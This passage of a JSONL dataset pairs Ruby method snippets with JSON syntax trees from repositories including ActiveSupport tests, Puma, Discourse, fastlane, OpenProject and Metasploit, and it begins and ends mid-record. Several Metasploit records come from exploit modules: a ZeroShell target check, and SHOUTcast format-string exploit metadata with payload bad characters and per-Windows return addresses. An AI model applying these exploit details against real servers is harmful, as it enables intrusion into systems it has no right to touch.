end","complexity_score":79.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_advance_1_day_expressed_as_number_of_seconds_minutes_or_hours_across_spring_dst_transition\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"twz\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeWithZone\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@time_zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2006]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[30]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-02 11:30:00.000000000 EDT -04:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"+\",{\"type\":\"int\",\"children\":[86400]}]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-02 11:30:00.000000000 EDT -04:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[86400]},\"seconds\"]}]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-02 11:30:00.000000000 EDT -04:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"since\",{\"type\":\"int\",\"children\":[86400]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-02 11:30:00.000000000 EDT -04:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"since\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[86400]},\"seconds\"]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-02 11:30:00.000000000 EDT -04:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"in\",{\"type\":\"int\",\"children\":[86400]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-02 11:30:00.000000000 EDT -04:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"in\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[86400]},\"seconds\"]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-02 11:30:00.000000000 EDT -04:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"seconds\"]},{\"type\":\"int\",\"children\":[86400]}]}]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-02 11:30:00.000000000 EDT -04:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1440]},\"minutes\"]}]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-02 11:30:00.000000000 EDT -04:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"since\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1440]},\"minutes\"]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-02 11:30:00.000000000 EDT -04:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"in\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1440]},\"minutes\"]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-02 11:30:00.000000000 EDT -04:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minutes\"]},{\"type\":\"int\",\"children\":[1440]}]}]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-02 11:30:00.000000000 EDT -04:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[24]},\"hours\"]}]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-02 11:30:00.000000000 EDT -04:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"since\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[24]},\"hours\"]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-02 11:30:00.000000000 EDT -04:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"in\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[24]},\"hours\"]}]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"2006-04-02 11:30:00.000000000 EDT -04:00\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"advance\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hours\"]},{\"type\":\"int\",\"children\":[24]}]}]}]},\"inspect\"]}]}]}]}","id":"ad50b51a-f672-4b74-ac18-e0411f5a0d24"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/zeroshell_exec.rb","start_line":63,"raw_source":"def check\n    # Check version\n    print_status(\"Trying to detect ZeroShell\")\n\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(uri)\n    })\n\n    if res and res.code == 200 and res.body =~ /ZeroShell/\n      print_good(\"ZeroShell detected\")\n    end\n\n    unless password.nil?\n      return Exploit::CheckCode::Appears\n    end\n\n    return Exploit::CheckCode::Safe\n  end","complexity_score":17.15,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Trying to detect ZeroShell\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[null,\"uri\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ZeroShell\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"ZeroShell detected\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"password\"]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"d359b723-ccd6-42bc-95f9-70f45cb6e9ed"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/developer.rb","start_line":108,"raw_source":"def cmd_irb_help\n    print_line 'Usage: irb'\n    print_line\n    print_line 'Open an interactive Ruby shell in the current context.'\n    print @@irb_opts.usage\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_irb_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: irb\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Open an interactive Ruby shell in the current context.\"]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@irb_opts\"]},\"usage\"]}]}]}]}","id":"89bbfd1f-7441-462e-a4ee-6873e0178883"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_config.rb","start_line":563,"raw_source":"def test_final_options_returns_merged_options\n    conf = Puma::Configuration.new({ min_threads: 1, max_threads: 2 }, { min_threads: 2 })\n\n    assert_equal 1, conf.final_options[:min_threads]\n    assert_equal 2, conf.final_options[:max_threads]\n  end","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_final_options_returns_merged_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conf\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"Configuration\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min_threads\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_threads\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min_threads\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"final_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"min_threads\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conf\"]},\"final_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_threads\"]}]}]}]}]}","id":"e25ebdcc-7ca2-4b01-8d02-af832738057b"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/inference/open_ai_image_generator.rb","start_line":83,"raw_source":"def self.create_uploads_from_responses(\n        api_responses,\n        user_id,\n        for_private_message,\n        title = nil\n      )\n        all_uploads = []\n\n        api_responses.each do |response|\n          next unless response\n\n          response[:data].each_with_index do |image, index|\n            Tempfile.create(\"ai_image_#{index}.png\") do |file|\n              file.binmode\n              file.write(Base64.decode64(image[:b64_json]))\n              file.rewind\n\n              upload =\n                UploadCreator.new(\n                  file,\n                  title || \"image.png\",\n                  for_private_message: for_private_message,\n                ).create_for(user_id)\n\n              all_uploads << {\n                # Use revised_prompt if available (DALL-E 3), otherwise use original prompt\n                prompt: image[:revised_prompt] || response[:original_prompt],\n                upload: upload,\n              }\n            end\n          end\n        end\n\n        all_uploads\n      end","complexity_score":33.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_uploads_from_responses\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"api_responses\"]},{\"type\":\"arg\",\"children\":[\"user_id\"]},{\"type\":\"arg\",\"children\":[\"for_private_message\"]},{\"type\":\"optarg\",\"children\":[\"title\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all_uploads\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_responses\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data\"]}]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"image\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"create\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ai_image_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"str\",\"children\":[\".png\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"binmode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"decode64\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"image\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"b64_json\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"rewind\"]},{\"type\":\"lvasgn\",\"children\":[\"upload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UploadCreator\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"image.png\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"for_private_message\"]},{\"type\":\"lvar\",\"children\":[\"for_private_message\"]}]}]}]},\"create_for\",{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_uploads\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"prompt\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"image\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"revised_prompt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"original_prompt\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"upload\"]},{\"type\":\"lvar\",\"children\":[\"upload\"]}]}]}]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"all_uploads\"]}]}]}","id":"fc71e287-4774-466f-93ba-4d8cf6754da1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/module_option_tab_completion.rb","start_line":352,"raw_source":"def option_values_target_ports(mod)\n          return [] unless framework.db.active\n          return [] if mod.datastore['RHOST'].nil?\n\n          host_addresses = mod.datastore['RHOST'].split.map do |addr|\n            address, _scope = addr.split('%', 2)\n            address\n          end\n\n          hosts = framework.db.hosts({:address => host_addresses, :workspace => framework.db.workspace})\n          return [] if hosts.empty?\n\n          res = []\n          hosts.each do |host|\n            host.services.each do |service|\n              res << service.port.to_s\n            end\n          end\n\n          res.uniq\n        end","complexity_score":44.05,"ast_json":"{\"type\":\"def\",\"children\":[\"option_values_target_ports\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"active\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"host_addresses\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]},\"split\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"addr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"address\"]},{\"type\":\"lvasgn\",\"children\":[\"_scope\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]},\"split\",{\"type\":\"str\",\"children\":[\"%\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvar\",\"children\":[\"address\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hosts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"hosts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"lvar\",\"children\":[\"host_addresses\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"workspace\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hosts\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hosts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"services\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},\"port\"]},\"to_s\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"uniq\"]}]}]}","id":"35fb6883-1966-43f6-b18a-e9be104d49f4"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/credentials_manager/lib/credentials_manager/appfile_config.rb","start_line":56,"raw_source":"def print_debug_information(path: nil)\n      self.class.already_printed_debug_information ||= {}\n      return if self.class.already_printed_debug_information[self.data]\n      # self.class.already_printed_debug_information is a hash, we use to detect if we already printed this data\n      # this is necessary, as on the course of a fastlane run, the values might change, e.g. when using\n      # the `for_lane` keyword.\n\n      puts(\"Successfully loaded Appfile at path '#{path}'\".yellow)\n\n      self.data.each do |key, value|\n        puts(\"- #{key.to_s.cyan}: '#{value.to_s.green}'\")\n      end\n      puts(\"-------\")\n\n      self.class.already_printed_debug_information[self.data] = true\n    end","complexity_score":24.1,"ast_json":"{\"type\":\"def\",\"children\":[\"print_debug_information\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"path\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"already_printed_debug_information\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"already_printed_debug_information\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"data\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully loaded Appfile at path '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]},\"yellow\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"data\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"- \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_s\"]},\"cyan\"]}]},{\"type\":\"str\",\"children\":[\": '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]},\"green\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"-------\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"already_printed_debug_information\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"data\"]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"a4129488-304f-4452-a2f3-d65cab1a3315"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/users/login_service.rb","start_line":121,"raw_source":"def apply_default_values(session)\n      session[:user_id] = user.id\n      session[:updated_at] = Time.zone.now\n    end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_default_values\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]}]}","id":"5c483812-d6bf-49a1-b39f-a9b5c3a69c97"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/shoutcast_format.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow',\n        'Description' => %q{\n          This module exploits a format string vulnerability in the\n          Nullsoft SHOUTcast server for Windows. The vulnerability is\n          triggered by requesting a file path that contains format\n          string specifiers. This vulnerability was discovered by\n          Tomasz Trojanowski and Damian Put.\n        },\n        'Author' => [ 'MC', 'mandragore[at]gmail.com'],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2004-1373'],\n          [ 'OSVDB', '12585'],\n          [ 'BID', '12096'],\n        ],\n        'Privileged' => false,\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n        },\n        'Payload' => {\n          'Space' => 250,\n          'BadChars' => \"\\x00\\x3a\\x26\\x3f\\x25\\x23\\x20\\x0a\\x0d\\x2f\\x2b\\x0b\\x5c\",\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          ['Windows NT SP5/SP6a English', { 'Ret' => 0x776a1799 }], # ws2help.dll\n          ['Windows 2000 English ALL', { 'Ret' => 0x75022ac4 }], # ws2help.dll\n          ['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad }], # ws2help.dll\n          ['Windows 2003 Server English', { 'Ret' => 0x7ffc0638 }], # PEB return\n        ],\n        'DisclosureDate' => '2004-12-23',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(8000)\n      ]\n    )\n  end","complexity_score":7.35,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a format string vulnerability in the\\n\"]},{\"type\":\"str\",\"children\":[\"          Nullsoft SHOUTcast server for Windows. The vulnerability is\\n\"]},{\"type\":\"str\",\"children\":[\"          triggered by requesting a file path that contains format\\n\"]},{\"type\":\"str\",\"children\":[\"          string specifiers. This vulnerability was discovered by\\n\"]},{\"type\":\"str\",\"children\":[\"          Tomasz Trojanowski and Damian Put.\\n\"]},{\"type\":\"str\",\"children\":[\"        